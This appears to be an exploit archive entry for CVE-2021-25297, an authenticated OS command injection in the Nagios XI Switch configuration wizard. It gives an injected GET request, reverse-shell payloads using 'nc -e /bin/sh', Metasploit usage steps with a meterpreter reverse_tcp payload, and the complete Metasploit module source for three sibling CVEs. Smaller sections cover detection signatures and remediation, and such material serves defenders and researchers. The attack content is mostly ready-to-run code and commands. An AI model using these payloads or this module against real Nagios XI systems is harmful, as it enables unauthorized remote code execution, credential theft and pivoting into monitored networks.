PoC Archive PoC Archive
High CVE-2021-25297 patched

Nagios XI 5.5.6–5.7.5 Authenticated OS Command Injection — Switch Config Wizard (CVE-2021-25297)

by Matthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh · 2026-07-11

Metadata

FieldValue
Date Added2026-07-11
Last UpdatedN/A
Author / ResearcherMatthew Mathur (Rapid7) — Metasploit module; original bug report by fs0c-sh
CVE / AdvisoryCVE-2021-25297
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS 3.1, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized (public Metasploit module + nuclei templates, in CISA KEV)
Tagsnagios-xi, os-command-injection, authenticated, config-wizard, switch, cwe-78, kev, metasploit
RelatedSame disclosure, distinct injection points in the same authenticated RCE chain: 2026-07-11_cve-2021-25296-nagios-xi-windowswmi-command-injection (Windows WMI config wizard), 2026-07-11_cve-2021-25298-nagios-xi-cloudvm-command-injection (cloud-vm config wizard). All three share the same vulnerability class, the same authenticated HTTP entry point (monitoringwizard.php), and the same public Metasploit module.

Affected Target

FieldValue
Software / SystemNagios XI — Switch (SNMP) monitoring configuration wizard
Versions AffectedNagios XI 5.5.6 through 5.7.5
Language / PlatformPHP (Apache/CentOS-based Nagios XI appliance)
Authentication RequiredYes — any valid Nagios XI user account (admin or non-admin)
Network Access RequiredYes

Summary

Nagios XI’s “Switch” configuration wizard (/usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php) generates an MRTG configuration snippet for the monitored switch and writes it into an MRTG config file using a shell sed command built from attacker-supplied HTTP parameters, most notably the target device address. The address value is embedded, unsanitized, inside a quoted sed replacement expression that is itself run through PHP’s exec(). An attacker with any valid Nagios XI login can break out of the quoted context and append arbitrary OS commands, which execute as the apache user. This is one of three sibling command-injection bugs (CVE-2021-25296/25297/25298) disclosed together, each in a different config wizard, all reachable through the same monitoringwizard.php endpoint.


Vulnerability Details

Root Cause

Inside switch.inc.php, the wizard builds an MRTG config-file update using exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file"), where $infoline is constructed from the attacker-controlled address parameter without sanitization. Unlike the sibling windowswmi and cloud-vm wizards, the address value here is interpolated inside a quoted string within the generated line, so exploitation requires closing that quote (") before appending the shell command, then re-opening/terminating the expression cleanly so the sed invocation still parses. The Rapid7 Metasploit module handles this by suffixing the address with \"; <cmd>; rather than the bare ; <cmd>; used against the other two wizards.

Attack Vector

An authenticated GET request to /nagiosxi/config/monitoringwizard.php with wizard=switch, nextstep=3, a valid CSRF nsp token for the session, and the target-address parameter — named address on Nagios XI ≤5.5.7, and renamed ip_address on versions after 5.5.7 — set to a value that closes the surrounding quote and appends a command, e.g.:

ip_address=127.0.0.1";nc -e /bin/sh 127.0.0.1 4445;

(PacketStorm’s advisory shows the simpler unquoted form ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445; as a proof-of-concept payload; the Metasploit module additionally closes the quoted context for reliability against the actual generated sed expression.) No admin privileges are required — any valid, low-privileged Nagios XI login is sufficient, satisfying PR:L in the CVSS vector.

Impact

Remote code execution as the apache user on the Nagios XI host, with the same downstream risk (config/credential access, pivot to monitored infrastructure, potential local root) as the sibling CVE-2021-25296/25298 wizards.


Environment / Lab Setup

OS:          Official Nagios XI OVA/ISO, versions 5.5.6 - 5.7.5 (tested against CentOS 7 minimal per the Metasploit module notes)
Target:      Nagios XI web UI at https://<target>/nagiosxi/
Attacker:    Metasploit Framework 6.x, or curl/Python with a valid Nagios XI login
Tools:       msfconsole, curl, Burp Suite

Setup Steps


Proof of Concept

Step-by-Step Reproduction

  1. Authenticate — Log in to Nagios XI with any valid user account to obtain session cookies and extract the CSRF nsp token embedded in the authenticated pages (the Metasploit module’s authenticate() helper does this automatically).

  2. Trigger the Switch wizard, step 3 — Send an authenticated GET request to monitoringwizard.php with the wizard-specific parameters, injecting a shell command via the address parameter (name depends on version — address for ≤5.5.7, ip_address for later builds):

    1
    2
    3
    
    GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=<csrf_token>&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3Bid%3B&snmpopts%5Bsnmpcommunity%5D=public&scaninterfaces=on HTTP/1.1
    Host: <target>
    Cookie: <auth_cookies>
    
  3. Observe execution — The Nagios XI backend runs the sed-based MRTG config update via exec(), which now also executes the injected command (id; or a reverse-shell one-liner) as the apache user.

Exploit Code

See nagios_xi_configwizards_authenticated_rce.rb in this folder — mirrored verbatim from the public Rapid7 Metasploit module exploit/linux/http/nagios_xi_configwizards_authenticated_rce, which supports all three sibling CVEs via a TARGET_CVE datastore option. For CVE-2021-25297 it builds the request as follows (excerpted from that module source):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if @version <= Rex::Version.new('5.5.7')
  address_param = 'address'
else
  address_param = 'ip_address'
end

url_params = {
  'update' => 1,
  'nsp'    => @nsp
}

url_params = url_params.merge({
  'nextstep'                     => 3,
  'wizard'                       => 'switch',
  address_param                  => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
  'snmpopts[snmpcommunity]'      => Rex::Text.rand_text_alphanumeric(7..15),
  'scaninterfaces'               => 'on'
})

send_request_cgi({
  'method'  => 'GET',
  'uri'     => '/nagiosxi/config/monitoringwizard.php',
  'cookie'  => @auth_cookies,
  'vars_get' => url_params
})

Note the \"; #{cmd}; suffix (escaped double-quote before the semicolon) — this closes the quoted string context in the generated sed expression before the injected command, distinguishing the payload shape for this CVE from the ; <cmd>; form used against windowswmi (CVE-2021-25296) and cloud-vm (CVE-2021-25298).

Usage:

msf6 > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
msf6 exploit(...) > set TARGET_CVE CVE-2021-25297
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set USERNAME <nagios_user>
msf6 exploit(...) > set PASSWORD <nagios_pass>
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run

Expected Output

[*] Sending the payload...
[*] Command shell session / Meterpreter session opened
uid=48(apache) gid=48(apache) groups=48(apache)

Detection & Indicators of Compromise

"GET /nagiosxi/config/monitoringwizard.php?...&wizard=switch&...&ip_address=127.0.0.1%22%3Bid%3B... HTTP/1.1" 200

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Nagios XI CVE-2021-25297 switch wizard command injection attempt"; content:"wizard=switch"; http_uri; pcre:"/(address|ip_address)=[^&]*%22%3[bB]/U"; sid:9000102;)

Remediation

ActionDetail
PatchUpgrade to Nagios XI 5.8.0 or later, which validates/sanitizes config-wizard parameters before shell execution.
WorkaroundRestrict Nagios XI web UI access to trusted admin networks; disable or remove unused config wizards; enforce least-privilege Nagios XI accounts.
Config HardeningFront the Nagios XI web UI with a WAF rule blocking quote + shell metacharacter sequences in monitoringwizard.php query parameters (see nuclei-templates PR referenced below for an active-check detection template).

References


Notes

Surfaced via a CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11 and ingested from public sources — this entry was not independently reproduced against a live Nagios XI instance in this repository; the request shape, the version-dependent parameter name (address vs ip_address), and the quote-breakout payload form (\"; <cmd>;) are grounded directly in the actual Rapid7 Metasploit module source (fetched from rapid7/metasploit-framework on GitHub) and corroborated by the PacketStorm/fs0c-sh technical write-up, which independently confirms the sed/exec() sink for this wizard (though PacketStorm’s own PoC example omits the quote-breakout, using a simpler unquoted ; payload — both were consulted and are cited above). EPSS score at time of ingestion: 0.587. This CVE has been in the CISA KEV catalog since 2022-01-18, confirming in-the-wild exploitation.

Cross-reference: CVE-2021-25296 (windowswmi wizard, plugin_output_len parameter) and CVE-2021-25298 (cloud-vm wizard, address/ip_address parameter) were disclosed as part of the same batch and share the same authenticated entry point, CSRF-token retrieval flow, and Metasploit module — see the sibling entries linked above.

nagios_xi_configwizards_authenticated_rce.rb
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthew Mathur'
        ],
        'References' => [
          ['CVE', '2021-25296'],
          ['CVE', '2021-25297'],
          ['CVE', '2021-25298'],
          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
        ],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => [ ARCH_X86 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => [ ARCH_X64 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'CMD', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'unix',
              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 2,
        'DisclosureDate' => '2021-02-13',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    return CheckCode::Safe("Version #{@version} is not vulnerable")
  end

  def execute_command(cmd, _opts = {})
    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
      auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true)
      case auth_result
      when AUTH_RESULTS[:connection_failed]
        return CheckCode::Unknown(err_msg)
      when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
        return CheckCode::Detected(err_msg)
      when AUTH_RESULTS[:not_nagios_application]
        return CheckCode::Safe(err_msg)
      end
    end

    # execute payload based on the selected targeted configuration wizard
    url_params = {
      'update' => 1,
      'nsp' => @nsp
    }
    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
    # changes from address to ip_address
    if @version <= Rex::Version.new('5.5.7')
      address_param = 'address'
    else
      address_param = 'ip_address'
    end

    # CVE-2021-25296 affects the windowswmi configuration wizard.
    if datastore['TARGET_CVE'] == 'CVE-2021-25296'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'windowswmi',
        'ip_address' => Array.new(4) { rand(256) }.join('.'),
        'domain' => Rex::Text.rand_text_alphanumeric(7..15),
        'username' => Rex::Text.rand_text_alphanumeric(7..20),
        'password' => Rex::Text.rand_text_alphanumeric(7..20),
        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
      })
    # CVE-2021-25297 affects the switch configuration wizard.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'switch',
        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
        'scaninterfaces' => 'on'
      })
    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
    # specifying the digitalocean option for the wizard parameter.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
      url_params = url_params.merge({
        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
        'nextstep' => 4,
        'wizard' => 'digitalocean'
      })
    else
      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
    end

    print_status('Sending the payload...')
    # Send the final request. Note that the target is not expected to respond if we get
    # code execution. Therefore, we set the timeout on this request to 0.
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/nagiosxi/config/monitoringwizard.php',
      'cookie' => @auth_cookies,
      'vars_get' => url_params
    })
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end